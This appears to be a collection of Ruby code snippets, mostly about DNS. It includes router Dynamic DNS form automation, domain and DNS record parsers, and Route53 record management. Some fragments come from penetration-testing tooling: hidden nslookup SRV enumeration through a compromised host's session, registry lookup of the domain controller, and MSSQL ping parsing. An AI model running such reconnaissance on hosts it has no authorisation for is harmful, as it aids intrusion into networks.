\telse\n\t \tself.msg(rule_name,:error,'Host Name','Con NOT find the value in \\'Host Name\\'.')\n\t \tend # End of if\n\n\t \t# Select list in the \"Connection\"\n\t \tif info.has_key?('Connection')\n\t\n\t case info['Connection']\n\t \n\t \twhen 'Broadband Connection (Ethernet)'\n\n\t\t \t\t# Set connection is 'Broadband Connection (Ethernet)'\n\t \t\t@ff.select_list(:name,'ddns_device').select(\"Broadband Connection (Ethernet)\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\t \t\n\t \twhen 'WAN Ethernet' \n\n\t\t \t\t# Set connection is 'Broadband Connection (Ethernet)'\n\t \t\t@ff.select_list(:name,'ddns_device').select(\"WAN Ethernet\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\t \t\n\t\t\twhen 'Broadband Connection (Coax)'\n\t \t\t\n\t\t\t\t# Set connection is 'Broadband Connection (Coax)'\n\t \t\t@ff.select_list(:name,'ddns_device').select(\"Broadband Connection (Coax)\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\n\t \twhen 'WAN PPPoE'\n\n\t \t\t# Set connection is 'WAN PPPoE'\n\t \t\t@ff.select_list(:name,'ddns_device').select(\"WAN PPPoE\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\n\t \twhen 'WAN PPPoE 2'\n\n\t \t\t# Set connection is 'WAN PPPoE 2'\n\t \t\t@ff.select_list(:name,'ddns_device').select(\"WAN PPPoE 2\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\t else \n\n\t\t \t \t# Wrong\n\t\t \t \tself.msg(rule_name,:error,'connection','Did NOT find the value in \\'Connection\\'.')\n\t\t \t\t return\n\t \n\t \t \tend # End of case connection;\n\n\t \tend # End of if connection;\n\n\t \t# Select list in the \"provider\"\n\t \tif info.has_key?('Provider')\n\t\n\t \t case info['Provider']\n\t \n\t \t\twhen 'dyndns.org'\n\n\t\t\t\t# Set provider to 'dyndns.org'\n\t \t\t\t@ff.select_list(:name,'ddns_provider').select(\"dyndns.org\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'no-ip.com'\n\n\t\t\t\t# Set provider to 'no-ip.com'\n\t \t\t@ff.select_list(:name,'ddns_provider').select(\"no-ip.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'changeip.com'\n\n\t\t\t\t# Set provider to 'changeip.com '\n\t \t\t@ff.select_list(:name,'ddns_provider').select(\"changeip.com \")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'tzo.com'\n\n\t\t\t\t# Set provider to 'tzo.com'\n\t \t\t\t@ff.select_list(:name,'ddns_provider').select(\"tzo.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'ods.org'\n\n\t\t\t\t# Set provider to 'ods.org'\n\t \t\t@ff.select_list(:name,'ddns_provider').select(\"ods.org\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'easydns.com'\n\n\t\t\t\t# Set provider to 'easydns.com'\n\t \t\t\t@ff.select_list(:name,'ddns_provider').select(\"easydns.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'zoneedit.com'\n\n\t\t\t\t# Set provider to 'zoneedit.com'\n\t \t\t@ff.select_list(:name,'ddns_provider').select(\"zoneedit.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\telse \n\t\t\t\t# Wrong\n\t\t\t\tself.msg(rule_name,:error,'connection','Did NOT find the value in \\'Provider\\'.')\n\t\t\t\treturn\n\t \n\t \t\tend # End of case provider;\n\n\t\tend # End of if provider;\n\n\t\tif info.has_key?('User Name') then\n\t \n\t \t\t@ff.text_field(:name,'ddns_username').value = info['User Name']\n\t \t\tself.msg(rule_name,:info,'User Name',info['User Name'])\n\t\tend # end of if\n\n\t\tif info.has_key?('Password') then\n\t \t\t@ff.text_field(:type,'password').set(info['Password'])\n\t \t\tself.msg(rule_name,:info,'Password',info['Password'])\n\t\tend # end of if\n\t\n\n\t\t# Select list in the \"Dynamic DNS System\"\n\t\tif info.has_key?('Dynamic DNS System')\n\t\n\t \t case info['Dynamic DNS System']\n\t \n\t \t\twhen 'Dynamic DNS'\n\n\t\t\t\t# Set 'Dynamic DNS'\n\t \t\t@ff.select_list(:name,'ddns_system').select(\"Dynamic DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\t\n\t \t\twhen 'Static DNS'\n\n\t\t\t\t# Set 'Static DNS'\n\t \t\t@ff.select_list(:name,'ddns_system').select(\"Static DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\n\t \t\twhen 'Custom DNS'\n\n\t\t\t\t# Set 'Custom DNS'\n\t \t\t@ff.select_list(:name,'ddns_system').select(\"Custom DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\n \t \t\telse \n\n\t\t\t\t# Wrong\n\t\t\t\tself.msg(rule_name,:error,'Dynamic DNS System','Did NOT find the value in \\'Dynamic DNS System\\'.')\n\t\t\t\treturn\n\t \n\t \t\tend # End of case Dynamic DNS system;\n\n\t\tend # End of if Dynamic DNS system;\n\n\t\t# Set wildcard to 'on' or 'off'\n\t\tif info.has_key?('Wildcard')\n \n\t \t\t# Enable wildcard \n\t \t case info['Wildcard']\n\t \n\t \t\twhen 'on'\n\t \n\t\t\t\t@ff.checkbox(:name,'dyndns_wildcard').set\n\t\t\t\tself.msg(rule_name,:info,'Wildcard',info['Wildcard']) \n\t \n\t \t\t# Disable wildcard\n\t \t\twhen 'off'\n\t\n\t\t\t\t@ff.checkbox(:name,'dyndns_wildcard').clear\t\n\t\t\t\tself.msg(rule_name,:info,'Wildcard',info['Wildcard'])\n\t \t\telse\n\t\t\t\t# wrong here\n\t\t\t\tself.msg(rule_name,:error,'Wildcard','Did NOT find the value in \\'Wildcard\\'.')\n\t\t\n\t \t end # End of case wildcard\n\n\t\tend # End of if wildcard\n\n\t\t# Set backup mx to 'on' or 'off'\n\t\tif info.has_key?('Backup MX')\n \n\t \t# Enable backup mx\n\t \tcase info['Backup MX']\n\t \n\t \t\twhen 'on'\n\t \n\t\t\t\t@ff.checkbox(:name,'dyndns_backup_mx').set\n\t\t\t\tself.msg(rule_name,:info,'backup mx',info['Backup MX']) \n\t \n\t \t\t# Disable backup mx\n\t \t\twhen 'off'\n\t\n\t\t\t\t@ff.checkbox(:name,'dyndns_backup_mx').clear\t\n\t\t\t\tself.msg(rule_name,:info,'backup mx',info['Backup MX'])\n\t \t\telse\n\t\t\t\t# wrong here\n\t\t\t\tself.msg(rule_name,:error,'Backup MX','Did NOT find the value in \\'backup MX\\'.')\n\t\t\n\t \t end # End of case backup mx\n\n\t\t end # End of if backup Mx\n\n\t\t# Set offline to 'on' or 'off'\n\t\tif info.has_key?('Backup MX')\n \n\t \t# Enable backup mx\n\t \tcase info['Offline']\n\t \n\t \t\twhen 'on'\n\t \n\t\t\t\t@ff.checkbox(:name,'dyndns_offline').set\n\t\t\t\tself.msg(rule_name,:info,'offline',info['Offline']) \n\t \n\t \t\t# Disable offline\n\t \t\twhen 'off'\n\t\n\t\t\t\t@ff.checkbox(:name,'dyndns_offline').clear\t\n\t\t\t\tself.msg(rule_name,:info,'offline',info['Offline'])\n\t \t\telse\n\t\t\t\t# wrong here\n\t\t\t\tself.msg(rule_name,:error,'Offline','Did NOT find the value in \\'Offline\\'.')\n\t\t\n\t \t end # End of case offline\n\n\t\t end # End of if offline\n\n\t\t# Apply for the change;\n\t\t@ff.link(:text,'Apply').click\n if @ff.text.include?'Input Errors'\n # Error here.\n \n # Find the table.\n sTable = false\n @ff.tables.each do |t|\n\t\t\tif ( t.text.include? ':' and \n\t\t\t\t( not t.text.include? 'Input Errors') and\n\t\t\t\t( not t.text.include? 'Cancel') and\n\t\t\t\tt.row_count >= 1 )then\n\t\t\t\t\tsTable = t\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n \n\t\tif sTable == false\n # Wrong here\n\t\t\tself.msg(rule_name,:error,'System Settings','Did NOT find the target table.')\n\t\t\treturn\n\t\tend\n \n\t\tsTable.each do |row|\n \n\t\t\tif row[1] == \"\" or row[2] == nil\n\t\t\tnext\n\t\t\tend\n \n\t\t\tself.msg(rule_name,:error,row[1],row[2])\n \n\t\tend\n \n\t\t# Click the \"cancel\"\n\t\t@ff.link(:text,'Cancel').click\n \n\t\treturn\n \n end \n\t\t# Jump out the \"Input Errors\"?\n\t\tif @ff.text.include?'Input Errors' then\n\n\t\t\t@ff.link(:text,'Cancel').click\n \t \t\tself.msg(rule_name,:error,'Dynamic_DNS','Input content may not correct.')\n\t \t\treturn\n\t\telse\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS','SUCCESS')\n\t\n\t\tend # End of case\n\n\n\t # Add Dynamic DNS entry ok.\n\t #\n\t # close the page\n\t #@ff.link(:text,'Close').click\n\t# ##########################\t\n \t# Case three: add multi record;\n \t# ##########################\n \twhen 'multihost'\n\t\t\n\t if info.has_key?('Loop Number')\n\t\t\t\n\t for i in 1..info['Loop Number'].to_i\t\n\t\t\n\t\t# Delete the Entry as same,'Remove')\n \t\t#if @ff.text.include? info['Host Name'] and info['Host Name'] != \" \" then\n\t \t#\tstr_href = @ff.link(:text,info['Host Name']).href\n\t\t#\tstr_href.gsub!('edit','remove')\n\t\t#\t@ff.link(:href,str_href).click\n\t\t#end # End of if\t\n\n\t\t# Add an new Dynamic DNS Entry;\n\t \t@ff.link(:text,'New Dynamic DNS Entry').click\n\t \tself.msg(rule_name,:info,'Add Dynamic DNS Entry','CLICKED')\n\n\t \t# Fill in the \"Host Name\"\n\t \tif info.has_key?('Host Name') \n\t \n\t \t@ff.text_field(:name,'ddns_host').value = info['Host Name'] + i.to_s\n\t \tself.msg(rule_name,:info,'Host Name',info['Host Name'] + i.to_s)\n\t \telse\n\t \tself.msg(rule_name,:error,'Host Name','Con NOT find the value in \\'Host Name\\'.')\n\n\t \tend # End of if\n\n\t \t# Select list in the \"Connection\"\n\t \tif info.has_key?('Connection')\n\t\n\t case info['Connection']\n\t \n\t \twhen 'WAN Ethernet'\n\n\t\t \t\t# Set connection is 'Broadband Connection (Ethernet)'\n\t \t\t@ff.select_list(:name,'ddns_device').select(\"WAN Ethernet\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\t\t\twhen 'Broadband Connection (Ethernet)'\t \t\n\n\t\t \t\t# Set connection is 'Broadband Connection (Ethernet)'\n\t \t\t@ff.select_list(:name,'ddns_device').select(\"Broadband Connection (Ethernet)\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\n\t \twhen 'Broadband Connection (Coax)'\n\n\t \t\t# Set connection is 'Broadband Connection (Coax)'\n\t \t\t@ff.select_list(:name,'ddns_device').select(\"Broadband Connection (Coax)\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\n\t \twhen 'WAN PPPoE'\n\n\t \t\t# Set connection is 'WAN PPPoE'\n\t \t\t@ff.select_list(:name,'ddns_device').select(\"WAN PPPoE\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\n\t \twhen 'WAN PPPoE 2'\n\n\t \t\t# Set connection is 'WAN PPPoE 2'\n\t \t\t@ff.select_list(:name,'ddns_device').select(\"WAN PPPoE 2\")\n\t \t\tself.msg(rule_name,:info,'Connection',info['Connection'])\n\t else \n\n\t\t \t \t# Wrong\n\t\t \t \tself.msg(rule_name,:error,'connection','Did NOT find the value in \\'Connection\\'.')\n\t\t \t\t return\n\t \n\t \t \tend # End of case connection;\n\n\t \tend # End of if connection;\n\n\t \t# Select list in the \"provider\"\n\t \tif info.has_key?('Provider')\n\t\n\t \t case info['Provider']\n\t \n\t \t\twhen 'dyndns.org'\n\n\t\t\t\t# Set provider to 'dyndns.org'\n\t \t\t\t@ff.select_list(:name,'ddns_provider').select(\"dyndns.org\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'no-ip.com'\n\n\t\t\t\t# Set provider to 'no-ip.com'\n\t \t\t@ff.select_list(:name,'ddns_provider').select(\"no-ip.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'changeip.com'\n\n\t\t\t\t# Set provider to 'changeip.com '\n\t \t\t@ff.select_list(:name,'ddns_provider').select(\"changeip.com \")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'tzo.com'\n\n\t\t\t\t# Set provider to 'tzo.com'\n\t \t\t\t@ff.select_list(:name,'ddns_provider').select(\"tzo.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'ods.org'\n\n\t\t\t\t# Set provider to 'ods.org'\n\t \t\t@ff.select_list(:name,'ddns_provider').select(\"ods.org\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'easydns.com'\n\n\t\t\t\t# Set provider to 'easydns.com'\n\t \t\t\t@ff.select_list(:name,'ddns_provider').select(\"easydns.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\twhen 'zoneedit.com'\n\n\t\t\t\t# Set provider to 'zoneedit.com'\n\t \t\t@ff.select_list(:name,'ddns_provider').select(\"zoneedit.com\")\n\t \t\tself.msg(rule_name,:info,'Provider',info['Provider'])\n\n\t \t\telse \n\t\t\t\t# Wrong\n\t\t\t\tself.msg(rule_name,:error,'connection','Did NOT find the value in \\'Provider\\'.')\n\t\t\t\treturn\n\t \n\t \t\tend # End of case provider;\n\n\t\tend # End of if provider;\n\n\t\tif info.has_key?('User Name') then\n\t \n\t \t\t@ff.text_field(:name,'ddns_username').value = info['User Name']\n\t \t\tself.msg(rule_name,:info,'User Name',info['User Name'])\n\t\tend # end of if\n\n\t\tif info.has_key?('Password') then\n\t \t\t@ff.text_field(:type,'password').set(info['Password'])\n\t \t\tself.msg(rule_name,:info,'Password',info['Password'])\n\t\tend # end of if\n\t\n\n\t\t# Select list in the \"Dynamic DNS System\"\n\t\tif info.has_key?('Dynamic DNS System')\n\t\n\t \t case info['Dynamic DNS System']\n\t \n\t \t\twhen 'Dynamic DNS'\n\n\t\t\t\t# Set 'Dynamic DNS'\n\t \t\t@ff.select_list(:name,'ddns_system').select(\"Dynamic DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\t\n\t \t\twhen 'Static DNS'\n\n\t\t\t\t# Set 'Static DNS'\n\t \t\t@ff.select_list(:name,'ddns_system').select(\"Static DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\n\t \t\twhen 'Custom DNS'\n\n\t\t\t\t# Set 'Custom DNS'\n\t \t\t@ff.select_list(:name,'ddns_system').select(\"Custom DNS\")\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS System',info['Dynamic DNS System'])\n\n \t \t\telse \n\n\t\t\t\t# Wrong\n\t\t\t\tself.msg(rule_name,:error,'Dynamic DNS System','Did NOT find the value in \\'Dynamic DNS System\\'.')\n\t\t\t\treturn\n\t \n\t \t\tend # End of case Dynamic DNS system;\n\n\t\tend # End of if Dynamic DNS system;\n\n\t\t# Set wildcard to 'on' or 'off'\n\t\tif info.has_key?('Wildcard')\n \n\t \t\t# Enable wildcard \n\t \t case info['Wildcard']\n\t \n\t \t\twhen 'on'\n\t \n\t\t\t\t@ff.checkbox(:name,'dyndns_wildcard').set\n\t\t\t\tself.msg(rule_name,:info,'Wildcard',info['Wildcard']) \n\t \n\t \t\t# Disable wildcard\n\t \t\twhen 'off'\n\t\n\t\t\t\t@ff.checkbox(:name,'dyndns_wildcard').clear\t\n\t\t\t\tself.msg(rule_name,:info,'Wildcard',info['Wildcard'])\n\t \t\telse\n\t\t\t\t# wrong here\n\t\t\t\tself.msg(rule_name,:error,'Wildcard','Did NOT find the value in \\'Wildcard\\'.')\n\t\t\n\t \t end # End of case wildcard\n\n\t\tend # End of if wildcard\n\n\t\t# Apply for the change;\n\t\t@ff.link(:text,'Apply').click\n\t \n\t\t# need to logout when multi-login \n\t\t#@ff.select_list(:name,'logout').select(\"Logout\")\n\t\t#self.msg(rule_name,:info,'Logout','Logout the page of DUT.')\n\t\t#@ff.link(:name,'logout').click\t\n\t\t#self.msg(rule_name,:info,'Logout','Logout the page of DUT.')\n\t\n\t\t# Jump out the \"Input Errors\"?\n\t\tif @ff.text.include?'Input Errors' then\n\n\t\t\t@ff.link(:text,'Cancel').click\n \t \t\tself.msg(rule_name,:error,'Dynamic_DNS','Input content may not correct.')\n\t \t\treturn\n\t\telse\n\t \t\tself.msg(rule_name,:info,'Dynamic DNS','SUCCESS')\n\t\n\t\tend # End of if\n\t\t\n\t\t \n\t end # End of loop;\n\n\t # Add Dynamic DNS entry ok.\n\t #\n\t # close the page\n\t @ff.link(:text,'Close').click\n\t end # End of case\n \t\n\t# ###########################\n \t# case four: update a record;\n \t# ###########################\n\twhen 'update'\n\n\t if @ff.text.include?info['Host Name'] then\n\n\t begin\n \t\t@ff.link(:href, 'javascript:mimic_button(\\'ddns_host_update: 0..\\', 1)').click\n\t\t\tself.msg(rule_name,:info,'update','Update the status of host name') \n \t\trescue\n\t\t\tself.msg(rule_name,:error,'update','Con NOT find the link of update ')\n \t\treturn\n \t\tend \n \n \t\t# Waiting for update\n \t\tsleep 10\n\n \t\t# To Click Refresh to see if the status has been changed\n \t\tbegin\n \t\t@ff.link(:text, \"Refresh\").click\n\t\t\tself.msg(rule_name,:info,'refresh','refrash the status of host name') \n \t\trescue\n \t\tself.msg(rule_name,:error,'refresh','Con NOT find the link of refresh ')\n \t\treturn\n \t\tend\n\n \t\tif @ff.text.match 'Updated' then\n \t\tself.msg(rule_name,:info,'status','The status of \\'hostname\\' is successful')\n \t\telse\n \t\tself.msg(rule_name,:error,'status','The status of \\'hostname\\' is fail ')\n \t\tend\n\n\t\t\t\n\t else\n\t\tself.msg(rule_name,:error,'Host Name','Con NOT find the value in \\'Host Name\\'.')\n\t end\n\t #################################\n\t ##read the dns server's status###\n\t #################################\n\twhen 'read the status'\n\t sTable = false\n\t @ff.tables.each do |t|\n\t\tif ( t.text.include? 'Host Name' and\n\t\t ( not t.text.include? 'Domain Name Server') and\n\t\t t.row_count > 1 )then\n\t\t sTable = t\n\t\t break\n\t\tend\n\t end\n\t if sTable == false\n # Wrong here\n\t\tself.msg(rule_name,:error,'read ddns status','Did NOT find the target table.')\n\t else\n\t\tsTable.each do |row|\n\t\t if ((not row.text.include? 'Host Name') and (not row.text.include? 'New Dynamic DNS Entry'))\n\t\t self.msg(rule_name,:info,row[1].to_s.gsub(':',''),row[2].to_s);\n\t\tend\n\t end\n\tend\n \n # Find the row\n \n\n\telse\n \t\tself.msg(rule_name,:error,'dns_server','Not right the operation to execute')\n \t\treturn\n \t\n\tend # End of case;\n\n end # End of operation;\n\t\n end",
"def domain_name\n return @domain_name\n end",
"def domain_name\n return @domain_name\n end",
"def get_dominfo_by_domain(domain)\n\t\t\t\tinfo = nil\n\t\t\t\ttraverse_text_file(domain_data_file) do |line|\n\t\t\t\t\tif line.index(domain + ':') == 0\n\t\t\t\t\t\tinfo = parse_domain_data_line(line)\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tinfo\n\t\t\tend",
"def initialize(hostname)\n hostname = String(hostname)\n\n raise ArgumentError, \"domain name must not start with a dot: #{hostname}\" if hostname.start_with?(DOT)\n\n begin\n @ipaddr = IPAddr.new(hostname)\n @hostname = @ipaddr.to_s\n return\n rescue IPAddr::Error\n nil\n end\n\n @hostname = DomainName.normalize(hostname)\n tld = if (last_dot = @hostname.rindex(DOT))\n @hostname[(last_dot + 1)..-1]\n else\n @hostname\n end\n\n # unknown/local TLD\n @domain = if last_dot\n # fallback - accept cookies down to second level\n # cf. http://www.dkim-reputation.org/regdom-libs/\n if (penultimate_dot = @hostname.rindex(DOT, last_dot - 1))\n @hostname[(penultimate_dot + 1)..-1]\n else\n @hostname\n end\n else\n # no domain part - must be a local hostname\n tld\n end\n end",
"def mssql_ping_parse(data)\n\t\tres = {}\n\t\tvar = nil\n\t\tidx = data.index('ServerName')\n\t\treturn res if not idx\n\n\t\tdata[idx, data.length-idx].split(';').each do |d|\n\t\t\tif (not var)\n\t\t\t\tvar = d\n\t\t\telse\n\t\t\t\tif (var.length > 0)\n\t\t\t\t\tres[var] = d\n\t\t\t\t\tvar = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\treturn res\n\tend",
"def mssql_ping_parse(data)\n\t\tres = {}\n\t\tvar = nil\n\t\tidx = data.index('ServerName')\n\t\treturn res if not idx\n\n\t\tdata[idx, data.length-idx].split(';').each do |d|\n\t\t\tif (not var)\n\t\t\t\tvar = d\n\t\t\telse\n\t\t\t\tif (var.length > 0)\n\t\t\t\t\tres[var] = d\n\t\t\t\t\tvar = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\treturn res\n\tend",
"def domain; end",
"def domain; end",
"def domain; end",
"def domain; end",
"def to_dns\n [name, ttl, 'IN', type, supports_prio? ? prio : nil, content].compact.join(' ')\n end",
"def description\n \"Simple DNS Subdomain Bruteforce\"\nend",
"def domain_info(domain)\n super # placeholder so that I can add some doc\n end",
"def check_mx\n domain=self.address.split('@')\n @domain = domain[1]\n @name=domain[0]\n #puts \"domain is #{domain}\"\n flag=false\n if @domain!=nil\n begin\n ret = self.resolver.query(@domain, Types.MX)\n if ret.answer!=nil and ret.rcode=='NOERROR'\n @mx=ret.answer.first.exchange.to_s if ret.answer!=nil \n @mx=@mx.downcase\n msg= \"mx record #{self.mx}\"\n puts msg\n flag=true\n end\n rescue Dnsruby::NXDomain \n msg=\"non existing domain #{@domain}\"\n puts msg\n rescue Exception => e\n msg=\"exception #{e.message}\"\n puts msg\n end\n \n else\n msg=\"nil domain\"\n end\n # puts \"ret is #{ret.inspect}\"\n [flag,msg]\n end",
"def parse_dns(raw)\n # Filtering Lines with Comments and Empty Lines\n dns_filter = raw.select {|x| x[0]!= \"#\" && x != \"\\n\" }\n\n # Creating a List with 3 Columns\n dns_filter_list = []\n dns_filter.each {|x| dns_filter_list.push(x.split(\", \"))}\n\n # Creating the List each DNS for Hash\n record_type_list = []\n source_list = []\n destination_list = []\n\n dns_filter_list.each do |x|\n record_type_list.push(x[0])\n source_list.push(x[1])\n destination_list.push(x[2])\n end\n\n # Building the Hash\n dns_hash = {\n \"RECORDTYPE\".to_sym => record_type_list,\n \"SOURCE\".to_sym => source_list,\n \"DESTINATION\".to_sym => destination_list,\n }\n return dns_hash\nend",
"def parse_dns(nodeList)\n find_if_exists = 0\n domain = Hash.new{|hsh,key| hsh[key] = []}\n address = Hash.new{|hsh,key| hsh[key] = []}\n cname = Hash.new{|hsh,key| hsh[key] = []}\n\n nodeArr = []\n # To remove null values for '.split' method to work\n nodeList.each do |node|\n if node == ''|| node.empty? || node == \"\\n\"\n next\n end\n nodeArr.push(node.strip.split(','))\n end\n # Creating the key value Hash\n nodeArr.each do |(type,domain,source)|\n if type == \"CNAME\"\n cname[domain.strip.to_sym].push(source.strip)\n elsif type == \"A\"\n address[domain.strip.to_sym].push(source.strip)\n end\n end\n # Adding CNAME hash and ADDRESS hash into domain hash\n domain[:CNAME].push(cname)\n domain[:ADDRESS].push(address)\n return domain\nend",
"def getdomain()\n domain = \"\"\n begin\n subkey = \"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\History\"\n v_name = \"DCName\"\n domain_dc = registry_getvaldata(subkey, v_name)\n dom_info = domain_dc.split('.')\n domain = dom_info[1].upcase\n rescue\n print_error(\"This host is not part of a domain.\")\n end\n return domain\n end",
"def dns_statistics\n super\n end",
"def domain=(domain)\n if DomainName === domain\n @domain_name = domain\n else\n domain = check_string_type(domain) or\n raise TypeError, \"#{domain.class} is not a String\"\n if domain.start_with?('.')\n @for_domain = true\n domain = domain[1..-1]\n end\n # Do we really need to support this?\n if domain.match(/\\A([^:]+):[0-9]+\\z/)\n domain = $1\n end\n @domain_name = DomainName.new(domain)\n end\n @domain = @domain_name.hostname\n end",
"def srvreclkp(session,domain,dest)\n\tdest = dest + \"-srvenum.txt\"\n\tsrout = []\n\tgarbage = []\n\tsrvrcd = [\n\t \"_gc._tcp.\",\"_kerberos._tcp.\", \"_kerberos._udp.\",\"_ldap._tcp.\",\"_test._tcp.\",\n\t \"_sips._tcp.\",\"_sip._udp.\",\"_sip._tcp.\",\"_aix._tcp.\",\"_aix._tcp.\",\"_finger._tcp.\",\n\t \"_ftp._tcp.\",\"_http._tcp.\",\"_nntp._tcp.\",\"_telnet._tcp.\",\"_whois._tcp.\"]\n\tprint_status(\"Performing SRV Record Enumeration for #{domain}\")\n\tfilewrt(dest,\"SRV Record Enumeration for #{domain}\")\n\tsrvrcd.each do |srv|\n\t\tr = session.sys.process.execute(\"nslookup -query=srv #{srv}#{domain}\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\twhile(d = r.channel.read)\n\t\t\tsrout << d\n\t\tend\n\t\tr.channel.close\n\t\tr.close\n\t\tresults = srout.join.split(/\\n/)\n\t\tresults.each do |rec|\n\t\t\t\tif rec.match(/\\s*internet\\saddress\\s\\=\\s/)\n\t\t\t\t\tgarbage << rec.split(/\\s*internet\\saddress\\s\\=/)\n\t\t\t\t\tprint_status(\"\\tfor #{srv}#{domain} #{garbage[0].join.sub(\" \",\" \")}\")\n\t\t\t\t\tfilewrt(dest,\"for #{srv}#{domain} #{garbage[0].join.sub(\" \",\" \")}\")\n\t\t\t\t\tgarbage.clear\n\t\t\t\tend\n\t\tgarbage.clear\n\t\tsrout.clear\n\t\tend\n\tend\n\nend",
"def add_domain_record_cname(params)\n post('dns/recordcname', params)\n end",
"def record_prio_ttl(qname,qtype,content,prio,ttl,auth=1)\n {:qtype => qtype, :qname => qname, :content => content, :priority => prio, :ttl => ttl, :auth => auth}\n end",
"def create_domain(domain_name)\n Adapter.create_domain(domain_name)\n self[domain_name]\n end",
"def parse_dns(dns_raw)\n dns_records = {}\n dns_raw.each do |line|\n arr = line.split(\", \")\n if(arr[0] == \"A\" || arr[0] == \"CNAME\")\n dns_records[arr[1]] = {:type => arr[0], :target => arr[2].strip}\n end\n end\n \n return dns_records\n end",
"def domain\n @uri[:domain]\n end",
"def dns_entry(name, value, type = 'A')\n # FIXME: don't hardcode aws or tiptap.com\n\n conflict_types = {'A' => 'CNAME', 'CNAME' => 'A'}\n\n name = canonicalize(name)\n value = canonicalize(value) if type == 'CNAME'\n zone = Fog::DNS[:aws].zones.all(:domain => 'tiptap.com.').first\n records = Fog::DNS[:aws].records(:zone => zone).all\n record = records.find{|r| r.name == name and r.type == type}\n\n if record and record.value != [value]\n puts \"Deleting old #{type} record (#{name} -> #{record.value})\"\n record.destroy\n record = nil\n @changed = true\n end\n\n # Automatically delete CNAME when creating an A record or vice versa - any other types, you're on your own\n if conflict_types[type]\n conflict_record = records.find{|r| r.name == name and r.type == conflict_types[type]}\n if conflict_record\n puts \"Deleting old, conflicting #{conflict_record.type} record (#{name} -> # conflict_record.value})\"\n conflict_record.destroy\n conflict_record = nil\n @changed = true\n end\n end\n\n unless record\n puts \"Creating #{type} record (#{name} -> #{value})\"\n Fog::DNS[:aws].records(:zone => zone).create(:name => name, :value => value, :type => type, :ttl => 300)\n @changed = true\n end\n\n @changed\n end",
"def description\n \"DNS TXT Record Lookup\"\nend",
"def full_host_record(ip:)\n load_cnames\n \n @forward_host_record ||= {} # Global, as we want to do name lookups.\n return_record = []\n unless( (host_records = @infoblox.get_host_by_ip(ip_address: ip)).nil? )\n host_records.each do |hosts|\n hosts.each do |hn|\n # Assign an empty record, if we haven't seen this host before\n @forward_host_record[hn] ||= { hostname: hn, ip: '', aliases: [], cnames: [] }\n \n # Record the IP. There may be multiple IPs with one hostname.\n @forward_host_record[hn][:ip] = ip\n \n # The hostname might have CNAMES point to it\n unless @reverse_cnames[hn].nil?\n @reverse_cnames[hn].each do |cn| \n @forward_host_record[hn][:cnames] << cn \n end\n end\n \n # The hostname may have alternate hostname A records, stored in IPAM as ALIASES\n @infoblox.get_alias(hostname: hn) do |a| \n short_alias = a.split('.',2)[0]\n @forward_host_record[hn][:aliases] << short_alias\n \n # The ALIASes might have CNAME records pointing to it\n unless @reverse_cnames[a].nil?\n # Record the ALIAS CNAMES against the parent hostname.\n @reverse_cnames[a].each do |cn| \n @forward_host_record[hn][:cnames] << cn \n end\n end\n end\n return_record << @forward_host_record[hn]\n \n # Add forward lookup entries for each ALIAS\n host_domain = hn.split('.',2)[1]\n @forward_host_record[hn][:aliases].each do |a|\n @forward_host_record[\"#{a}.#{host_domain}\"] = @forward_host_record[hn]\n end\n \n # Add forward lookup entries for each CNAME\n @forward_host_record[hn][:cnames].each do |cn|\n @forward_host_record[cn] = @forward_host_record[hn]\n end\n \n end\n end\n end\n return return_record\nend",
